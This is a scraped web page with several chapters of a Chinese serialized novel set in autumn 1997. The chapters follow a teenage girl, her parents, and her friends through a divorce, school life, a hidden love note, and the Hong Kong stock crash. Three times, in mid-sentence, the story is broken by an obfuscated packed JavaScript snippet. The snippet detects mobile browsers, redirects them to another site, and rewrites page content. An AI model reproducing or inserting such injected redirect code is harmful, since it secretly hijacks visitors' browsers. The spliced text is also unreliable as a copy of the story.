“是吧。”梁惠也不觉得冒犯,顺势又道了一句歉,就把这事儿揭过去。“那梳子我用了,顺滑得很,好用的嘞。” “你喜欢就好。” 赵迟来瓮声转头,已经没了一开始满心暖暖的期待。 “哪里买的?这款式新得很哦,之前都没见过。”梁惠边说边往被子里钻。 赵迟来随口说了个店名,察觉身后的动静,面无表情:“妈你干嘛?我要睡了。” 梁惠眨了眨眼睛:“我也睡了啊。” “……你在这儿我睡不着。” “你当我不在这儿不就行了?” “妈……”赵迟来颇为头痛,“我明天还要早起,到时候把你吵醒了你又骂我。” “不骂你,再说我跟你爸请过假了,明早可以睡懒觉,今晚上咱们娘俩可以多说会儿话。”梁惠笑着在另一只枕头上躺下。 清净无望,赵迟来干脆破罐子破摔。“行吧,你想说什么,我听着呢。” “其实也没什么大事,就你爸让我好好和你讲讲女性生理卫生知识。”梁惠活力满满,一点听不出困意,“那不找对人了吗?我们单位每次妇女大会都是我主持的,好几次还上台演讲呢,熟得不能再熟了,你想从哪儿听起?” “随便吧,都行。”赵迟来打了个哈欠。 “那就从月经期的卫生习惯开始怎么样?” “嗯……” 梁惠娓娓开口,还真如她说的那样,一听就很熟练。 赵迟来不怎么吃惊,但有点意外。 她知道梁惠对待工作很认真,这二十年往回拿了不少积极分子荣誉证书,但却不知道她连本职工作之外的妇女工作内容也烂熟于心。 赵迟来转头看向梁惠。 她双手规规矩矩扣合在身前,侧脸被温热的台灯打上一层黄色的眩光,语速不急不缓,眼神专注而晶亮。 做一件事就好好做,身心百分百全部投入,想到什么立刻去做计划,再一点一点实行,日日坚持不懈,月月总结反思。 好像……她一直都是这样厉害的人。 赵迟来忍不住探头过去,和她躺到同一个枕头上,伸手抱住她的肚子,摸摸捏捏。 经历过艰难生育后的肚子松松软软,像极了西点屋里刚刚出炉的原味烤蛋糕。带着温热的气息,还能离指回弹。 “嗯?”梁惠停下,一把抓住她的手,“你乱摸什么?” “我才没有摸你嘞,明明摸的是我的快乐老家。”她撇嘴。 “我看你有点神思不清。”她一把打掉她的手,继续往下说。 赵迟来却没再认真听了。 她想到自己似乎已经很久没有和妈妈这么近过。虽然每天都会见面,说话,一起吃饭,但抛弃这些日复一日的琐碎日常,像这样毫无保留的贴贴抱抱却几乎没有。 这是为什么呢? 明明拥抱妈妈是如此简单又美好的一件事。 “妈妈,我会好好读书的。”她突如其来打断,打了梁惠一个措手不及。 “嗯?好好的怎么突然说这个?” “没什么,”她又缠上去,狠狠在她肩头吸了口气,语气沉醉,“我的妈妈好香啊。” “是吗?沐浴露吧?我今天换了个新的。” “不是,是黑洞啊……香香的黑洞。”她摇头。 “……”梁惠没看懂,倒也没把她这个狗皮膏药撕开,吸了口气继续往下说,“到哪儿了?哦,意外怀孕……” 第二天赵迟来如往常一样早起。 练完拳还主动加了一下训,过后小心翼翼上称,却发现并没有太大变化, “还真是肉去如抽丝啊。” 她有些泄气,回头拿起扫把怒扫落叶,打算这样休息一会儿再继续。 一个靓仔插着手从南街巷口走进来,赵迟来看了半天才认出那是陈抑休:“一休哥?” “嗯?慢慢,早啊。”他微微眯眼,倒是没有认错。 “哇你穿得这么周正,我差点没认出来。”其实也没太大变化,脚下还是熟悉的包浆拖鞋,就是换了个头和牛仔裤。 “哦,收拾行李的时候发现的,好像还是去年过年你妈妈买给我的。” “哦哦,”梁惠每次过年都会顺带给他添件新衣,没什么大不了的,她抓住其他重点,“你收拾什么行李?要出门吗?” “嗯,过几天要去躺北京。” “去北京做什么?” “说是有个什么会,院长叫我去的。” “哦,那蛮重要的,你收拾不过来告诉我一声啊,我来帮你。” 他点点头,继续往院里走。 临了似乎想起什么话,又停下。 恰好赵迟来也开口了。 “对了你吃早饭了吗?” “没有,我想要的肠粉卖完了,就没吃。” “没有就不吃了?你什么时候挑上食了还?”她招了招手示意他进来,“一块吃吧,肠粉没有啊,今天喝粥。”她有气无力往回走,“明天也喝粥,天天都喝粥……” 疑似被抽干了所有力气和精力。 赵庆国端上来一碟油浸咸鱼,打开电视。 “没什么好吃的啊阿休,粥有的是,不要客气。” “好的叔叔。” 平常是没有这碟东西的,今天是沾了陈抑休的光才能闻到点油腥味。 赵迟来瞥了眼旁边,赵庆国正专注看电视里的早间新闻。趁他不注意悄悄把筷子伸向碟子,夹起一块,然后以迅雷之势收回来。 全程快得很,陈抑休压根没看清,是听见“当”的一声,赵庆国的筷子把她抓了个人赃俱获,才明白过来。 “嘿嘿爸,你就让我吃一块怎么了嘛。”她挣扎。 “放回去。”他镇压。 “就一口,一口就行。”她商量。 “我不想说第二遍。”他没得商量。 “哼。” 赵迟来很快落败,心不甘情不愿放回去。 对面的陈抑休喝入一口粥,盯着那块她放回去的看了良久。正要伸手,一双锐利的筷子头已经抵到他面前。 “想好了再夹。”赵庆国语气森森。 “……我,我自己吃叔叔。”陈抑休咽了咽。 “吃吧。” 赵庆国这才收手。 两人不敢再造次。 一时间只能听见吸溜的声音,还有零星几句闲话。 “阿姨呢?今天早班吗?” “昨天中班,还在睡呢。” “哦哦……” “对了慢慢,你有什么想要的礼物特产吗?” “不用,你把自己好好带回来就行了。” “哦。” 【昨日下午3点13分,亚太二号R通信卫星于西昌卫星发射中心成功发射。】电视里传出主播平缓有力的声音。 【该卫星定点在东经7.65度赤道上空,重达3700公斤,具有8千瓦直流功率,28个C频段,16个Ku频段转发器,将主要为亚太地区提供语言、图像和数据传输通信服务。】 “哇,好厉害。” 赵迟来没太听懂,但不妨碍她哇塞。 “这次发射的就是个普通的通信卫星,算不上很厉害。”陈抑休埋头吃粥,“要是前年亚太二号没有发射失败,早就可以投入使用了。” “哎?你怎么知道?”她好奇。 “有个师姐参与了这个项目,听她说的。” “哦~”赵迟来忽然福至心灵,“那有没有参加那种载人航空的师姐师兄?有没有有没有?” “……”他咽了口粥,眼神闪躲,“暂时没有听说过。” “哦,好吧。”她有点失望,“要是有一天咱们也能登上月球就好了,在上面种地养花,以后八月十五就能看见长了头发的大月亮,那多神奇!” “会的,一定会有这一天的。”陈抑休和她一起异想天开,“到时候不仅能种菜,还能去度假,月球村度假基地,就建在广寒宫旁边,你觉得行不行?” “可以啊!正好还可以和嫦娥仙子串门,不过首先吴刚要抓起来,不能让他乱砍乱伐……” 忙碌的周末很快过去了。 赵迟来在院子里做最后的加练,一边跳绳一边仰望星空,只等跳出一身汗再去洗澡睡觉。 有个人影缓缓从门口经过。 “何阿姨晚上好!”她一眼认出那是何温婉。 “哦,慢慢啊,这么晚了还在跳绳?”何温婉提着个鼓鼓囊囊的手提袋,脸色看起来有点憔悴。 这段时间她的精神就没怎么好过。 “嗯,这两天没有看见思泉,她去哪儿了吗?” “她在家的,只是不想出门。”说完何温婉摆摆手让她继续跳。 文思泉果然在家。 何温婉进屋没多久,赵迟来就听见她的声音。有点尖锐,还带着哭腔,似乎和何温婉在争吵什么。 她立刻停下来,想和赵庆国说一声过去看看。没想到很快就有个人影从对面冲出来,掠过旁边的窄巷朝下面的三岔口方向跑。 是文思泉。 她立刻顾不上,扬声朝屋里喊了一句就跟上去。 大晚上的,下面的铺子该关的都关了,剩下的都不适合文思泉一个独身女孩子去。赵迟来担心她想不开,和张鑫一样混什么夜总会。 好在她并没有跑远。 就坐在大树茶馆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378755|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台阶上,和平常的赵迟来一样,不同的是,她只是自己默默流眼泪,并没有哭出声。 “大晚上不睡觉,偷偷摸摸干什么呢?”赵迟来有意吓她,故意压低了声线。 没想到她一点不怕,甚至头都没回。 赵迟来叹了口气,坐到她身边,问她怎么回事,是不是和何温婉吵架了。 她还是不说话,盯着地上的落叶发呆。 “好好好,你不说我却要说的,我听说最近这里又有蛇出没,前两天还咬了两个人,你自己一个人要注意安全啊,哭完了早点回去,我就先走了。”赵迟来说完就起身。 没走成。 手被抓住了。 文思泉终于抬头:“你,你陪陪我慢慢。” 赵迟来无奈:“陪你一起在这里做雕像,我才不要。” 文思泉抿了抿唇,瓮声开口:“她一定要和我爸离婚,我不想他们离。” 赵迟来又坐回来:“就为了这个事儿?” “什么叫就啊?这件事很小吗?” “再大的事,我以为拉扯了这么久,早就该结束了。” “站着说话不腰疼,你要是我,也会……” “我才不会干涉他们的决定嘞。”赵迟来打断,“结婚也好离婚也罢,说到底都是他们自己的事情,自己想好就行,别忘记给我生活费就行。” “……大不了分开住嘛,我就是不理解为什么一定要离婚。”文思泉一脸头痛,“以现在家里的情况,离婚对她压根没有一点好处,钱都在我爸手里,厂子也在他名下,一定要走就什么也带不走!我真是……跟她说过好多回了,她偏偏不听,说什么都要离婚,我真的不理解……” 赵迟来认真听完了。 对她说出的理由有些意外。 “你是怕你妈吃亏才反对的?不是出于自己利益的考虑?” 文思泉一愣:“我能有什么利益?” 赵迟来看着她的眼睛,对视片刻,她眨了眨继续盯树叶。 “你姐姐怎么说?” 赵迟来另起话题。 “她已经好几年没和我们联系过了,我也只知道她好像在某个航空公司上班,对家里的事根本不关心。”她有点埋怨。 “那你也可以和你妈一起回上海啊。” “……”她沉默了一会儿,“那是舅舅他们的家,我的在这里。” 赵迟来听出来有点不对,没再往下说,把她盯着的那片树叶捡起来。“你说不理解你妈妈,我倒是有点理解。” “……”文思泉不满转头,倒要看看她怎么说。 “这件事的原因归根到底,是你爸出轨了对吧。” “……嗯。” “不离婚就代表你妈不原谅,很合理啊。” “她就不能原谅一次?就当是……” “就当是为了你?”赵迟来猜到她要说什么,“你刚刚还说你没什么利益可图呢,没有的话,你妈为什么要为了你委屈自己?” “她只要留下,我一定不会让她受委屈的,我都想好了的,下一步就是把我爸扫地出门,他犯的错应该他滚蛋才是,凭什么要我妈走?”她急切解释。 “哦,要多久?” “什么?” “你妈还要原谅你爸多久?” “……” 文思泉不说话了,似乎并没有考虑过这一步,或者考虑过但说不出口。 她沉默良久,依旧在争辩。 “也不用她一直原谅嘛,就这一次,我早晚会为她……” “思泉,不是的。”赵迟来撼住她的肩膀,让她看着自己,“原谅一个人不是只需要原谅一次,而是每想起一次就要原谅一次。一个人可以爱一个人千百回,但却不能原谅一个人千百回。就像这片树叶。” 她举起手里发黄的叶片,撕下一小块,又撕下一小块,一块接一块。 很快那片树叶就成了光秃秃一片,只剩个杆子。 “一次又一次,到最后什么也不剩,你想你妈妈变成这样吗?”她把光杆塞进她手里。 文思泉沉默良久,捏紧了掌心,闭眼默默流泪。 赵迟来轻轻把她揽进怀里。 没再说她的事,开始说自己和梁惠的事。说梁惠生她的时候有多凶险,生完之后有多少后遗症,把这几天从赵庆国那听来的都说给她听。 然后轻声道:“你妈生你的时候也一定吃了很多苦,说不定比我妈还多。” “呜呜……”文思泉慢慢哭出声。 “妈妈们把我们带来这个世界已经费尽了力气,好不容易恢复一些,又要为我们吃什么穿什么上什么学头痛,等到有了头绪,又因为各种各样的原因妥协,身体不好啦,精力不济啦,旁人的指手画脚啦……” 赵迟来拍着她的背,继续往下说,“如果不想她们一辈子都在妥协,至少也得毫无保留的支持她一次,不论是什么。” “呜呜呜!哇——” 文思泉终于号啕大哭,“我放她走,放她走呜呜呜,我想她好好的,不要受委屈……” 赵迟来摸了摸她柔顺的长发,欣慰道:“真是勇敢啊我们思泉!” 每个妈妈对孩子来说都像个黑洞。 她们身上有着宇宙中最大的引力,无论碰面之前你在干什么,只要经过她们身边,总会无法控制向她们靠近。 赵迟来觉得,梁惠就是她的黑洞。 她对她有好奇,有惧怕,有烦闷,有无奈,但最多的,还是无法抗拒的孺慕和欣喜。 何温婉对文思泉来说也是。 她习惯了何温婉的关注,认可,和她无条件的爱,根本无法想象自己也会有变成像她一样的黑洞,独自运转的一天。 所以当她发现何温婉身上的引力开始变弱,离自己越来越远时,本能的选择了沉默和抗拒,希望以此换取黑洞的回心转意,殊不知这样只会将彼此推得更远。 但好在,她松手了。 还能赶在黑洞离开之前,好好的多看几眼。 32. 1997年秋 32 何温婉第二天就回上海了。 赵迟来和文思泉一起去送的,过后两人彼此拥抱大哭了一场。 谁都没有去想文爸会做什么,那不重要,重要的是何温婉和文思泉都将从徒有其表的空壳里挣脱出来,这一点谁来也无法改变。 赵迟来回到家里,赵庆国和梁惠正在吵架。 准确说,是梁惠正在对赵庆国单方面输出:“买个桌布买不明白,我明明说的是那种小碎花的,碎花的听不懂吗?都什么年代了还用这种红双喜……” “妈!不喜欢咱们就去退嘛,你干什么说我爸?”赵迟来下意识替赵庆国辩解,“爸还不是觉得这种大花的喜庆吗?” “土死了还喜庆,不是第一回了,自己拎不清楚还主意大得很,回回好好好,回回照他自己的来!”梁惠越说越气,“哎呀想想我就心口疼,真是跟他过不下去了。” 原本默默摘菜的赵庆国听到这儿忽然把菜丢了,闷声道:“那就不过了嘛,你想离婚直说好了。” 梁惠都要拿着桌布进去,一听他这话瞬间就毛了:“说得这么顺口,你憋很久了吧赵庆国!你是不是早就想离婚?” “……”赵庆国张了张嘴,仿佛意识到自己有点冲动,又重新捡起那把菜继续摘。 “说啊,你怎么不说了?正好当着慢慢的面把话说清楚!”梁惠却不肯就此罢休。 赵迟来进也不是,退也不是, 她实在想不清楚怎么就到了这一步,以前这种情况也不少,都是梁惠闹两句就算了,今天难得见赵庆国顶嘴。 “不是,爸妈你们冷静一下……” “慢慢你刚刚也听清楚了,这话可不是我先说出口的啊,你怪谁也别怪我!”梁惠打断。 “呵。”赵庆国手上没停,却轻笑了一声。 “你还哼?”梁惠不可置信,“给我说中了是吧?我就知道你想离婚不止一天两天了,上回过生日我就觉得你不对劲……” “不是,妈……爸没有这个意思!” “爸!你说句话啊!” 眼见两人火药味越来越浓,赵迟来也慌了。 顶嘴也就罢了,赵庆国居然还轻哼?梁惠可还在气头上呢,但凡有一句话不对,这婚今天说不定还真能离了,何况还是这种明显的不屑? 不行不行! 她爸妈绝对不能离婚! 脑子警铃大作,电光火石间,她突然眼睛一闭,倒在了地上。 装晕什么的,虽然老掉牙了,但实在管用。 果然,梁惠和赵庆国谁都顾不上吵架,慌慌张张朝她跑过来。 几天后某次在食堂吃饭,赵迟来和文思泉吐槽起这件事,对当时的危险情况大肆渲染。 “然后呢?他们还说要离吗?”文思泉塞了一口大米饭。 “当然没有啊!”赵迟来也塞了一口,“应该是这招奏效了,别说离婚,当我面就是一句骂也没吵过!当然背着我就不知道了啊,应该还没和好,几次回来见他俩都挺沉默的。” “原来大家都这样,不过你爸妈……还是在乎你更多一点。”文思泉欲言又止。 赵迟来顿了顿反应过来,这话题她就不该起的!连忙道歉:“对不起思泉我不是这个意思,就是……就是随口吐槽一下,你知道我的没什么脑子!” “没事,”文思泉本来就只有一点低落,见她怕得跟什么似的反倒觉得好笑,“好了,你哄起别人来倒是一套一套,怪唬人的,怎么到自己身上就撒泼打滚也不甘心了?” “我……”赵迟来心虚。 “哦——”文思泉恍然大悟,“我知道了!你站着说话不腰疼,当时就是骗我的!” “我冤枉啊!明明是当局者迷旁观者清!”她竖起两根指头。 “嘻嘻,你牙缝上的卡了个青菜。” “啊!哪儿?”赵迟来天都塌了,立刻捂嘴嚅动。过了一会儿问她,“还有没有?” 文思泉指了指自己的左边,赵迟来还是没找到,她不耐烦:“哎呀恶心死了,嘴伸过来。” 脸上的嫌弃一点不遮掩,但手却结结实实抠过来。 “你俩能不能注意形象?这是食堂,不是你俩家里的厨房!”旁边啪一声落下个饭盆,张鑫在文思泉旁边一屁股坐下。 “满嘴顺口溜,怎么你也要考清北啊?”赵迟来随口吐槽。 “是啊,你都能考,我为什么不行?” “嗤,天大的笑话。”赵迟来只当他在放屁。 “怎么,还不信?” “思泉信我就信。” 文思泉笑得尴尬又礼貌,开始收盘子:“我吃完了,你们慢慢吃。” “要我说思泉你就是素质太高了,我就不一样了,”她嚼着饭含含糊糊,“我今天就把话放这儿,你要能考上,我给你洗一个月臭鞋。” “好!”张鑫一拍桌面,“就冲你这话,咱们打个赌,我要是能考上你给我当牛做马!不许反悔!” “你怎么不说考不上的情况?” “考不上我就去青龙寺里出家做和尚!”他张嘴就来。 “是青龙观不是青龙寺啊,道观哪儿来的和尚?” 黎明律没多久也端着盘子过来,扯开张鑫对面的凳子。 “你们也要去青龙观?” 原本要走的文思泉不知道为什么又坐回来。 “什么叫也?” “下个月的秋游啊,我以为你们知道。” 赵迟来盯着他盘口的红烧鱼块看了一会儿,决然收回视线往嘴里塞了口海带。 “秋游?今年居然还有?”张鑫喜上眉梢,“不是说大家一起坐牢吗?” “不太清楚,我也是听他们说的。”黎明律先喝了口汤,放下碗第一筷子就夹的鱼块,却不是放进嘴里,而是往旁边扒了扒。 这副挑剔鬼上身又不想吃的反应赵迟来已经很熟悉了。 “鱼你不吃啊?”她问。 “刺太多了,麻烦。”他随口回了一句继续和张鑫说话,“你回头可以问问你们班团委,要去应该都能去,只是可能去的地方不同。” “也对,毕竟青龙寺就那么点地方,去一个班顶天了。” “我记得……青龙观今年开了个武术学校,还挺大的,就在道观旁边。”文思泉想起什么。 “啊?虽然每年都挺折腾,也不至于送去学武术吧?除了赵慢咱谁吃得消?” “我是说义工需求大啊。” “哦哦,那可能得去几个班,”他瞅了眼黎明律,“说不定咱今年还真能一起。” 黎明律笑笑,埋头吃饭。 赵迟来见他们聊完了,晃着筷子点了点近在咫尺的鱼块:“这鱼你真不吃?多好的刀鱼啊,一口不吃多可惜。” 黎明律看都没看:“要吃你吃,我不吃。” 张鑫边啧边夹:“不吃你别打啊,家里什么条件吃一碗扔一碗?” 黎明律指了指自己的青豆:“套餐。” 赵迟来不甘落后:“我也勉为其难帮帮你吧!思泉你要吗?” 文思泉摇头:“我不爱吃这个。” 赵迟来咬了一口,有点纳闷儿:“是吗?我怎么记得在你家吃过呢……” 文思泉脸色当即煞白。 同一个错误犯两次,赵迟来一巴掌扇自己脸上:“哪壶不开提哪壶,我真是罪该万死!” 文思泉立刻阻止:“不是不是,我心里已经过了,你不用道歉。”似怕她不信,又对其他两人说,“你们也是,用不着避讳,反正我家什么情况大家都清楚,和我一起骂我还好过一点,这样小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393745|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我反而更难受。” 她都这么说了,大家也就没再提着那根筋,打打闹闹又回到之前的样子。 放学之后赵迟来没能马上回去,被张鑫带去给文思泉加油。 她前几天报名了排球社团,今天是她第一次正式出场。赵迟来一听,二话不说反客为主扯着张鑫走了。 短短几天时间,说打得有多好真不至于,但那股子汗水流进眼睛还一眨不眨盯着前方的文思泉,是赵迟来从来没有见过的。 “喔——文老板够硬!” “文思泉你牛逼啊!暴扣强绝!” 阵阵欢呼和呐喊将此前的闹剧彻底揭过去,甚至盖过隔壁的篮球场。 黎明律丢下擦汗的毛巾很快回到球场,似乎受到隔壁的鼓舞,紧接着也来了个暴扣,引起一阵狂叫。 这边比赛结束,赵迟来听见欢呼声一点没少,往旁边看过去,一眼看见正在远投的黎明律。 “啊!又一个三分!” “太帅了!” 观众席一片呐喊,黎明律循声看了一眼,正好和起身的赵迟来对上。 没想到这么巧,她很快反应过来举起手里替文思泉加油的鼓掌拍,朝他大喊:“好靓的三分哦!简直强绝!” 黎明律微微一愣,指了指自己的耳朵似乎没听清,赵迟来又加大声音喊了一遍。但这次没等喊完,他就被队友拉回去。 黎明律回头朝她竖了个大拇指当作回应,然后甩了甩汗湿的头发加入新的战局。 “这家伙……” “就会耍帅!” 赵迟来习惯了他的冷冷淡淡,但还是忍不住吐槽。眼神收得太快,没看到某个湿头被人抢了球还微弯的嘴角。 “你先回去,我等一下阿律。”张鑫挪去隔壁。 “等他耍帅吗?” “啧,正事儿。” 不多会儿文思泉也过来,紧跟着张鑫去看篮球赛。 赵迟来没有这个兴致也没有这个时间,只能一个人先走。看样子他们今天都得很晚回,作业的事只能找一休哥了。 巧的是,陈抑休就在门口蹲着呢。 “一休哥?你蹲这儿干嘛?” “等你呢。” “你倒是胆子大,也不怕我爸看见。” “看见也没关系,我已经和他报备过了,过来的时候搜个身就行。”他笑看着她一步步靠近,等她到了跟前也不急着站起来。 “那还等什么?开始吧。” “腿……有点麻了。”他拍了拍膝盖有点不好意思。 “啊?那你手给我!”赵迟来伸手就把他捞起来,两人颤颤巍巍往对面走。 月上中天。 张鑫三个人一起回来。 “嗯,好好休息,明天见啊。” 目送文思泉回去,张鑫跟着黎明律一起回了院。 “你说找我有事,什么事?”黎明律一边换鞋一边回头。 “哦,找你借个录像带。” “哪个?” “就前两天张雨生出的那个。” “《口是心非》?” “对对。” “你自己拿,都在那儿呢。”他随手指了指书架,自己进了浴室。 黎明律的书架整整齐齐,张鑫很快找到,就夹在一丛黑色笔记本旁边。他抬手扒出录像带,手劲没收,不小心把笔记本带下来一个。 “啪嗒”一声,里面的纸片落了一地。 乍一眼张鑫还以为给它摔坏了,紧张得不行,结果凑近一看,只不过是夹在里面的一堆书签而已。 黎明律用书签当然不奇怪,奇怪的是……上面的字丑得出奇,丑得熟悉。 “嗯?” “这不是赵慢慢的字吗?” 他眉头顿缩,发现事情并不简单。 33. 1997年秋 33 黎明律擦着头发出来,书柜前已经没人了。 他打开电脑准备上网。 张鑫的声音突然从身后响起,吓了他一跳—— “你好哇!” “当我跨过沉沦的一切,向着永恒开战的时候,你!是我的军旗。”紧接着是诗人一般的语气。 “世界上好人不少,不过你是最重要的一个。你要是愿意,我就永远爱你。你要是不愿意,我就永远相思。”沉迷的神色几乎怼到黎明律面前。 黎明律终于看到他手里的卡片,面色顿沉,朝他抓过来。 张鑫连忙躲开。 “你真好,我真爱你!”他越发肆无忌惮,“可惜我不是诗人,说不出更动听的话……唔!呜呜……” 黎明律并没有让他嚣张太久,捂住他的嘴把书签全抢回来,转手投入抽屉里。 “嘿嘿,你现在收回去也晚了,我都看到了!”张鑫坐上桌面,一脸嘚瑟。 “看到什么了?”黎明律定定看着他。 “这不很明显吗?赵慢慢写给你的情书。” “是书签。”他纠正。 “你骗鬼呢?”张鑫嗤笑一声,“谁会在书签上面写这种肉麻的情话啊?还是送给别人的?” “……” 黎明律眼神闪烁,无法反驳。 “可以啊,你们瞒得挺深啊,什么时候开始的?”他凑过来。 “还没开始。”黎明律不耐烦扒开。 “哦?那就是你还在考虑?”张鑫立刻明白。 黎明律翻开一本练习册,没有理他。 “有什么不能说的嘛,我又不会告诉别人,相反,说不定还能帮你们一把呢!”张鑫喋喋不休,“哎?怎么耳朵都红了?哦——你也喜欢赵慢慢对吧?” “闭嘴。” “少在这儿假正经,”张鑫可不会轻易放过这个揶揄他的机会,“既然喜欢那就接受,堂堂正正告诉她,自己每天对镜贴花黄算怎么回事儿?” “录像带拿到了是吧?你可以滚了。”黎明律受不了他的聒噪,合上本子钳住他就往外丢。 “哎哎不是……你还没告诉我你怎么想的呢?赵慢慢虽说长得婉约了一点脾气暴躁了一点,但配你还是绰绰有余的啊,你是不是有什么……” “啪!” 张鑫话没说完,房门已经决然关闭。 他指着门框恨铁不成钢:“没意思,没义气,良心大大的……” “咔嗒。” 房门又突然打开。 黎明律冷脸出现,是为了警告:“今天的事你最好烂在肚子里,要是被我知道你到处乱说。”话说到这儿他举起拳头。 张鑫立刻摆手:“懂懂懂,我听得懂人话,大师不必展示拳脚。” 黎明律又盯了他一会儿才关门。 张鑫松了口气,快步往回走。 “这个赵慢慢,没想到还挺有文化的啊!下次也让她帮我写两封……” 赵迟来觉得张鑫最近不太对劲。 每次见到她都跟眼皮上长了跳蚤一样,蹦跶得厉害。问他什么事又不说,只是时不时用一种刮目相看的语气感叹“可以啊”“没看出来”之类的废话。 这种诡异的行为连文思泉都看出来。 “三金最近怎么回事?” “可能被谁抽坏了脑子,谁知道呢?” 晚上放学碰上黎明律,她随口问:“你觉不觉得张鑫最近很奇怪?” 黎明律紧了紧肩上的包,茫然道:“有吗?” 赵迟来立刻:“有有有,和有病一样。” 连文思泉也跟着点头。 “没有吧,我看挺正常的。”他还是没发现,不等两人再说点什么,有人叫他的名字,他立马和对方走了。 回到家里,赵迟来还在想这回事。 “生病了?不太像……总不会真被外面那些人打傻了吧?要不我还是问问?好歹也能找回来一点场子……” “你嘀嘀咕咕干什么呢?” 梁惠的声音从院子里传进来,“让你倒杯水倒半天,你舅来了人也不喊。” “哦来了!”她立马回神,端着茶杯冲出来,递给来串门的表舅,“屋里坐舅舅,里头有吃的。” “吃吃吃,就知道吃,小心又被你爸抓起来,”梁惠带着人往里走,当着她面说她坏话,“哈哈是长胖了,上回比赛初赛都没进,她爸现在盯着她减肥呢……” “嘶。” 赵迟来银牙险些咬碎,忍了忍还是没忍住,气冲冲跑回房间把门反锁了,不给她第二次使唤的机会。 她在屋里做题,他们在屋外说话,时不时大笑吵得她根本静不下心。 她干脆不写了,掏出一把瓜子和一本时尚杂志,边看边嗑,偶尔听两句闲扯。 “……他不在,今天培训班有课呢。” “哦哦,看来我来得不是时候。” “你找他有事?” “不是不是,随便问问。” “担心吃不上饭?今天让你尝尝我的手艺!” “不是,不用了姐,我就是……随便来看看,不用吃饭。” 梁惠只当他是客气,起身往厨房走:“要吃的,你带这么多东西过来,饭都不吃就想走?” “姐,我实话跟你说了吧,我是来借钱的。”沙发上的男人突然起身。 梁惠一愣,不太确定:“怎么会呢?我记得前不久你还说挣了多少多少,买那个什么股票。” “那是之前,这个月开始就一直买亏,我之前赚的都赔进去不说,连攒的本金也……”他说不下去,站在原地很是懊悔。 “这么快?”梁惠还有点不敢相信,“你亏了多少?” 赵迟来隐约听到外面语气不对,停嘴认真听起来。 但这次却听得不是很清楚。 直到梁惠那句突然拔高的惊诧:“什么?这么多?” “我的天哪,你这个股票不能再玩了,这是个害人的东西……” “不是姐,主要是时机不好,等过了这段时间之后还是会涨回来的。” “不行不行,你要说没钱吃饭了我多少得给你点,你要继续买股票那我没得给你,你走吧。” 赵迟来终于听明白,表舅是来借钱的,梁惠不太同意。 她是见过输得倾家荡产的那种赌徒的,知道他们有多可怕,这个点赵庆国又不在家,她当即藏好瓜子皮开门出去。 “妈,什么时候吃饭?我饿了。”她佯装惊讶,“你们这是在拉扯什么?舅舅又要给我红包吗?” “……” 一句话说得两个人都有点沉默。 表舅也是要脸的人,见状也没再说什么,随便找了个借口就走了。 梁惠欲言又止,但终究没有叫住他。 “妈,要我去喊爸回来吗?”赵迟来握住她的手。 “不用,不是什么大事。”她摆摆手,看向桌上的水果和礼盒,沉吟片刻拿过一旁的钱包,抽出一沓零钱,数了数,匀出二百给赵迟来,“你去把这个给黎阿公,就说是帮你舅来还房租,要是他没欠你就说提前垫付。” “现在?” “嗯,去吧。” 黎阿公也正准备做饭。 听见赵迟来的来意并不吃惊,指了指屋里让她放桌上。 黎明律正在看电视。 “你居然回来了?不是去打球了吗?” “没打,”他立刻把桌上指甲钳给收了,“你怎么来了?” “哦,帮我一个表舅垫房租,他最近股票赔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399480|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少,我妈怕他露宿街头。”她找了个地方随手把钱放下,“走了啊,你记得拿。” “等等。”黎明律叫住她。 “怎么了?” “你最好让你舅暂时收手,最近不要再玩了。”他斟酌道。 “啊?玩什么?” “股票。” “为什么?” “因为确实不是他的问题,月初的时候就有苗头,好多媒体都在唱衰股市行情,都说港股也会和韩国马来西亚一样破产,”他不紧不慢,“最近大家都在抛售港币,前两天港股恒生指数还暴跌了三千多个点。” “……这意味着?”每个字她似乎都听懂了,但好像又没听懂。 “这意味着,港股总市值蒸发了百分之二十五,不算散户,损失也超过2000亿港元。”他换了个说法。 “……所,所以和不要玩股票有什么关系?”她还是没想明白。 “有人恶意做空,最近不是风口,谁来都得赔。”他边说边收拾东西。 “……” 赵迟来还震惊于他笃定又清晰的头脑,电视里传出新闻主播略带紧张的口播,恰好说的还是同一件事。 【全球各地股市近日全面下落,香港股市的跌幅比其他地方更大,恒生指数今日大跌百分之十三点七……】 赵迟来大为震撼。 “了解!我回头就告诉他收手!” 黎明律抱着东西回房,经过她身边时略带感叹:“这还只是个开始,今年,甚至明年,大家都不会太好过。” 